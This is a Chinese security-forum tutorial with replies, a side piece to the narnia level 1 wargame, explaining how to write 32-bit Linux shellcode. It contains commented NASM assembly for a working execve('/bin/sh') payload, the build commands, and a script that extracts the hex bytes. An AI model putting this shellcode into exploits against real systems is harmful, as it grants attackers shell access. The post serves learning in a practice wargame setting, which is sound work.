首页
社区
课程
招聘
[原创]WarGame-narnia1-番外篇 shellcode的编写
发表于: 2019-7-23 20:05 11041

[原创]WarGame-narnia1-番外篇 shellcode的编写

2019-7-23 20:05
11041

这是narnia level1 的番外篇,在做这一题之前必须要了解shellcode的编写细节(如果不想自己写shellcode,也可以直接在Google或者MSF里找),在开始shellcode编写学习之前,请在自己的Linux系统里安装NASM,shellcode代码如下

保存到shellx.asm文件后,需要用NASM编译这个汇编程序,从而获得十六进制形式的代码,命令如下

这里会得到一个shellx文件,但还不能执行,需要用objdump命令把十六进制代码取出,我写了个bash脚本,内容如下

还需要写一个c程序来验证之前写的汇编代码是否有效,代码如下

编译时需要注意之前写的汇编是针对32位程序的,程序的保护也需要去掉,编译命令如下

这是代码的运行结果

至此一个可以运行并能得到root的shellcode就编写完成了




Section .text

  global _start

_start:

  jmp short     callShellcode

shellcode:

  pop           esi				//将’/bin/sh’从栈中取出,放到esi里
  xor           eax, eax			//eax置为NULL
  mov byte      [esi + 7], al		//因为eax置空了,所以用al里的NULL来结束’/bin/sh’字符串
  lea           ebx, [esi]			//将’/bin/sh’字符串放入ebx中
  mov long      [esi + 8], ebx		
  lea           ecx, [esi + 8]		//这两步是把argv数组写入了ecx,如果没有这两步,就算程序获得了root权限,也不能执行命令,不信可以去掉试试
  mov long      [esi + 12], eax
  lea           edx, [esi + 12]		//这两步是把eax中的NULL写入了edx,得到root权限后执行的命令需要有NULL来结束(因为命令也算是字符串)
  mov byte      al, 0x0b			//最后这一步是执行execve,0x0b=11,是execve的系统调用号(可查)
  int           0x80				//最后必须用0x80结尾

callShellcode:

  Call          shellcode
  db            '/bin/sh'

 nasm  –f elf shellx.asm
 ld  –o shellx shellx.o  –m elf_i386

这里会得到一个shellx文件,但还不能执行,需要用objdump命令把十六进制代码取出,我写了个bash脚本,内容如下

for i in `objdump -d "$1" | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; 
do echo -n "\x$i" ;
done
echo -e "\n"

for i in `objdump -d "$1" | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; 
do echo -n "\x$i" ;
done
echo -e "\n"


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 2
支持
分享
最新回复 (5)
雪    币: 3496
活跃值: (749)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
不错,本人正好是小白
2019-7-24 08:13
0
雪    币: 14525
活跃值: (17543)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
3
另外忘了说了,关于shellcode我也是参考了国外一些人的文章的链接链接;关于这方面,好像外国人动手能力比较强,都是自己写shellcode,国内的都是图方便用MSF,我只是想普及一下shellcode的编写过程,算是墙内的“清流”吧
2019-7-24 09:03
0
雪    币: 1128
活跃值: (72)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
4
楼主知道pwntools这个模块么?里面集成了大量shellcode,用来做pwn联系会比较好用
2019-7-24 13:42
0
雪    币: 14525
活跃值: (17543)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
5
Mr_heiio 楼主知道pwntools这个模块么?里面集成了大量shellcode,用来做pwn联系会比较好用
我没能理解你说的意思,不过关于方便,我有几点要讲:这是wargame平台的公开靶机,直接用pwntools远程并不能直接执行要攻击的程序;如果你说的是直接生成shellcode,我想说我是那种想知其所以然的人,直接给我一个WindowsRCE的exp,我对这个exp能让我赚多少钱并不感兴趣,我只对这个漏洞的利用过程和产生漏洞的原因比较感兴趣,说难听点,就算免费公开0day我也并不在乎(我从来没找到过0day,所以我敢这么说),我就是个纯技术爱好者
2019-7-24 20:05
0
雪    币: 270
活跃值: (1662)
能力值: ( LV5,RANK:75 )
在线值:
发帖
回帖
粉丝
6
给楼主一个赞
2019-8-20 14:44
0
游客
登录 | 注册 方可回帖
返回
//